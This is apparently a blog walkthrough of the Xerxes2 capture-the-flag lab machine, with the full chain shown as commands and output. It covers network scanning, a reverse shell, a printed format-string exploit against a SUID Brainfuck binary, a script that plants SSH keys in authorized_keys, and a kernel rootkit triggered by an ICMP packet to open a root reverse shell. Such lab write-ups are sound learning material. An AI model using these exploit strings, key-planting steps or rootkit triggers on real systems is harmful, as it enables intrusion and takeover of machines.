The first step I took was to discover the IP address of the Xerxes machine.
root@kali:~# netdiscover -i eth0 -r 192.168.200.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 120
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.200.2 08:00:27:e2:ca:6c 01 060 CADMUS COMPUTER SYSTEMS
192.168.200.4 08:00:27:c3:9d:8d 01 060 CADMUS COMPUTER SYSTEMS
Okay now we have the IP address - 192.168.200.4
Now that I have my target, I find out as much about the target as possible.
root@kali:~# nmap -sS -sV -sC -p- -v -T5 192.168.200.4 -Pn -n
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-11 19:05 EDT
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 19:05
Scanning 192.168.200.4 [1 port]
Completed ARP Ping Scan at 19:05, 0.00s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:05
Scanning 192.168.200.4 [65535 ports]
Discovered open port 80/tcp on 192.168.200.4
Discovered open port 111/tcp on 192.168.200.4
Discovered open port 22/tcp on 192.168.200.4
Discovered open port 8888/tcp on 192.168.200.4
Discovered open port 4444/tcp on 192.168.200.4
Discovered open port 42062/tcp on 192.168.200.4
Completed SYN Stealth Scan at 19:05, 6.88s elapsed (65535 total ports)
Initiating Service scan at 19:05
Scanning 6 services on 192.168.200.4
Completed Service scan at 19:06, 11.02s elapsed (6 services on 1 host)
NSE: Script scanning 192.168.200.4.
Initiating NSE at 19:06
Completed NSE at 19:07, 60.06s elapsed
Nmap scan report for 192.168.200.4
Host is up (0.00023s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey:
| 1024 7f:0a:0d:81:50:3b:73:15:6b:9c:5e:09:a2:fc:82:91 (DSA)
| 2048 0d:eb:14:6d:b0:c5:eb:fc:84:2d:e8:a2:4e:9f:14:b4 (RSA)
|_ 256 c1:ca:ae:c3:5d:7a:5b:9d:cf:27:a4:48:83:1e:01:84 (ECDSA)
80/tcp open http lighttpd 1.4.31
|_http-methods: OPTIONS GET HEAD POST
|_http-title: xerxes2
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 42062/tcp status
|_ 100024 1 42319/udp status
4444/tcp open krb524?
8888/tcp open http Tornado httpd 2.3
|_http-favicon: Unknown favicon MD5: 4E6C6BE5716444F7AC7B902E7F388939
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: IPython Dashboard
42062/tcp open status 1 (RPC #100024)
...snip...
Okay, looks like we have have quite a few services. I first take a look at the web applications listening on port 80 and 8888. Navigating to http://192.168.200.4 yields the following static page.
![]() |
http://192.168.200.4/ |
I was quickly able to retrieve a reverse shell by using the python code found here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
![]() |
Executing the python code reverse shell |
![]() |
Setting up a netcat listener and retrieving the remote shell |
Now that I have access to the machine, I need to find out as much information about the current user I am running as and the local machine. I usually look at the groups I am part of, SUID/GUID binaries on the machine, world readable/writeable files, etc. Having a look at the /etc/passwd, I can see there is another user named korenchkin. This may be useful later one. Let's see what else I can find out from performing this reconnaissance exercise.
$ cat ~/.bash_history ..snip... /opt/bf "<<++++[>++++<-]>[>+++++>+++++>+++++>+++++>++>++++>++++>++++>+++++>++++>+++++<<<<<<<<<<<-]>---->->->----->>++++>+++++>+++++>>+++++>++#" cp /media/politousb/bf.c . nano bf.c ...snip...
$ ls -l /opt/bf
-rwsr-sr-x 1 polito polito 6047 Jul 16 12:40 /opt/bf
$ ls ~
bf.c
Untitled0.ipynb
Untitled1.ipynb
It looks like there's some binary that executes Brainfuck. Oh... boy... Additionally, this binary happens to have the SUID bit set for the user polito. This looks like the next promising step to attack. Luckily, we can also see that a copy of the source code for bf is found in delacroix's home directory. Let's take a look.
$ cat bf.c
/* found this lingering around somewhere */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define BUF_SIZE 30000
void bf(char *program, char *buf)
{
int programcounter = 0;
int datapointer = 0;
while (program[programcounter])
{
switch(program[programcounter])
{
case '.':
printf("%c", buf[datapointer]);
break;
case ',':
buf[datapointer] = getchar();
break;
case '>':
datapointer = (datapointer == (BUF_SIZE-1)) ? 0 : ++datapointer;
break;
case '<':
datapointer = (datapointer == 0) ? (BUF_SIZE-1) : --datapointer;
break;
case '+':
buf[datapointer]++;
break;
case '-':
buf[datapointer]--;
break;
case '[':
if (buf[datapointer] == 0)
{
int indent = 1;
while (indent)
{
programcounter++;
if (program[programcounter] == ']')
{
indent--;
}
if (program[programcounter] == '[')
{
indent++;
}
}
}
break;
case ']':
if (buf[datapointer])
{
int indent = 1;
while (indent)
{
programcounter--;
if (program[programcounter] == ']')
{
indent++;
}
if (program[programcounter] == '[')
{
indent--;
}
}
}
break;
case '#':
// new feature
printf(buf);
break;
}
programcounter++;
}
}
int main(int argc, char **argv)
{
char buf[BUF_SIZE];
if (argc < 2)
{
printf("usage: %s [program]\n", argv[0]);
exit(-1);
}
memset(buf, 0, sizeof(buf));
bf(argv[1], buf);
exit(0);
}
Okay, it looks like NX is enabled. It doesn't display it in the screenshot, but ASLR is also enabled. To bypass these protections, I decide to overwrite the printf()'s entry in the GOT table with system(). The trick to this exploit is piping our exploit to the bf program. Each character in our exploit will use a "," for user input and ">" to increment the buffer pointer. Finally, we will trigger the exploit by using "##". The first "#" triggers the exploit, which then overwrites printf's address in the GOT table. The second "#" attempts to call printf(buf) again, but since we overwrote the entry for printf() with system(), system(buf) will be executed instead. The final exploit looks like this:
python -c "print 'sh;#\x48\x9a\x04\x08\x4a\x9a\x04\x08%08180x%17\$hn%08198x%18\$hn'" | ./bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,##"
I did have a problem with this though. The shell process would be created, but for some reason automatically close. So to resolve this, I changed the $PATH environment variable to search the /tmp directory first. Then created a file /tmp/sh, which is a bash script that copies my SSH keys to polito's /home/polito/.ssh folder. You can see the contents of that script below, and a running instance of the exploit.
$ cat sh
#!/bin/sh
mkdir /home/polito/.ssh
cp /tmp/id_rsa.pub /home/polito/.ssh/
cat /tmp/id_rsa.pub >> /home/polito/.ssh/authorized_keys
echo "Copy complete"
$ python -c "print 'sh;#\x48\x9a\x04\x08\x4a\x9a\x04\x08%08180x%17\$hn%08198x%18\$hn'" | ./bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,##"
sh;#H�J�0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
.snip...
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Copy complete
Okay, it looks like our SSH key was copied successfully! Let's see what we get...
Awesome, it looks like we're in! Let's take a look in the polito home directory.
polito@xerxes2:~$ ls
audio.mpeg audio.txt dump.gpg polito.pdf
Paying attention only to the relevant parts, dump.gpg and polito.pdf, we have an encrypted file and a pdf file. The audio stuff is a troll LAME audio file which is echoed to port 4444, which we saw in the nmap scan earlier. Let's open up the pdf file:
Interesting... scanning the QR code returns another troll message that says "XERXES is watching...". I spent A LOT of time on this pdf. I inspected the structure of the pdf, adding objects, fixing the XREF table, fixing objects, etc. After a lot of thinking, tinkering and a small hint from @recrudence, I ran the following:
polito@xerxes2:~$ file polito.pdf
polito.pdf: x86 boot sector, code offset 0xe0
Womp! I should have checked this first. I learned my lesson, lol. Let's go ahead and boot it with qemu.
And there's the password for the dump.gpg file! Decrypting the dump.gpg file yields a massive dump of logs. One of the first things I do with big files like this is grep for certain keywords, which may provide useful information. If we remember, I found another user named korenchkin. So the first thing that came to my mind is to see if anything in the dump was related to korenchkin.
root@kali:~/Desktop/xerxes2/files# cat tmp | grep korenchkin
...snip...
ts/0korenchkin
cat /var/mail/korenchkin
tar -cvf /opt/backup/korenchkin.tar
openssl enc -e -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar -out /opt/backup/korenchkin.tar.enc
rm /opt/backup/korenchkin.tar
/home/korenchkin0
]0;korenchkin@xerxes2: ~
...snip...
Bingo! Looks like we have the password for an encrypted file in /opt/backup/. Decrypting this file yields a tarball. Inside this tarball are the backup SSH keys for korenchkin. So I can use this to log into the korenchkin account.
Awesome. It looks like this user is in more groups and may be more privileged than the other users. What's even MORE interesting is the result of running the following command:
korenchkin@xerxes2:~$ sudo -l
Matching Defaults entries for korenchkin on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User korenchkin may run the following commands on this host:
(root) NOPASSWD: /sbin/insmod, (root) /sbin/rmmod
This user has sudo rights to insmod and rmmod! The previous two users did not have any sudo privileges. Alright, so I can now load kernel modules. I did some googling and I stumbled upon this awesome kernel module rootkit that returns a shell after a special ICMP packet.
https://github.com/maK-/maK_it-Linux-Rootkit
I quickly downloaded this tool to the korenchkin's home directory and then ran "make" and loaded the module.
korenchkin@xerxes2:~/reverse-shell-access-kernel-module-master$ make
sh scripts/lets_maK_it.sh
Adding reverse shell script path to template...
/home/korenchkin/reverse-shell-access-kernel-module-master/shells/revshell ...
Adding cleanup script to template...
/home/korenchkin/reverse-shell-access-kernel-module-master/scripts/kill_shell.sh ...
----------------------------
gcc -Wall -m32 -s -o shells/revshell shells/revshell.c
make -C /lib/modules/3.2.0-4-686-pae/build M=/home/korenchkin/reverse-shell-access-kernel-module-master modules
make[1]: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae'
CC [M] /home/korenchkin/reverse-shell-access-kernel-module-master/maK_it.o
Building modules, stage 2.
MODPOST 1 modules
LD [M] /home/korenchkin/reverse-shell-access-kernel-module-master/maK_it.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae'
korenchkin@xerxes2:~/reverse-shell-access-kernel-module-master$ ls
LICENSE maK_it.c maK_it.mod.c maK_it.o Module.symvers scripts template.c
Makefile maK_it.ko maK_it.mod.o modules.order README.md shells
korenchkin@xerxes2:~/reverse-shell-access-kernel-module-master$ sudo insmod maK_it.ko
Now reading the instructions on github about how to get the reverse shell, I started my netcat listening and sent an ICMP packet with the proper message:
root@kali:~# nc -lvp 9001
nc: listening on :: 9001 ...
nc: listening on 0.0.0.0 9001 ...
root@kali:~# nping --icmp -c 1 -dest-ip 192.168.200.4 --data-string 'maK_it_$H3LL 192.168.200.3 9001'
Andddd... I get my reverse shell:
root@kali:~# nc -lvp 9001
nc: listening on :: 9001 ...
nc: listening on 0.0.0.0 9001 ...
nc: connect to 192.168.200.3 9001 from 192.168.200.4 (192.168.200.4) 33276 [33276]
maK_it
/bin/bash shell..
id
uid=0(root) gid=0(root) groups=0(root)
And all that's left is to read the flag :)
cat flag.txt
____ ___ ____ ___ __ ____ ___ ____ ____ ____
`MM( )P' 6MMMMb `MM 6MM `MM( )P' 6MMMMb 6MMMMb\ 6MMMMb
`MM` ,P 6M' `Mb MM69 " `MM` ,P 6M' `Mb MM' ` MM' `Mb
`MM,P MM MM MM' `MM,P MM MM YM. ,MM
`MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM'
d`MM. MM MM d`MM. MM `Mb ,M'
d' `MM. YM d9 MM d' `MM. YM d9 L ,MM ,M'
_d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
congratulations on beating xerxes2!
I hope you enjoyed it as much as I did making xerxes2.
xerxes1 has been described as 'weird' and 'left-field'
and I hope that this one fits that description too :)
Many thanks to @TheColonial & @rasta_mouse for testing!
Ping me on #vulnhub for thoughts and comments!
@barrebas, July 2014
what is the login id and pasword Xerxes 2...?????
ReplyDeleteWhich login id and password are you referring to?
Delete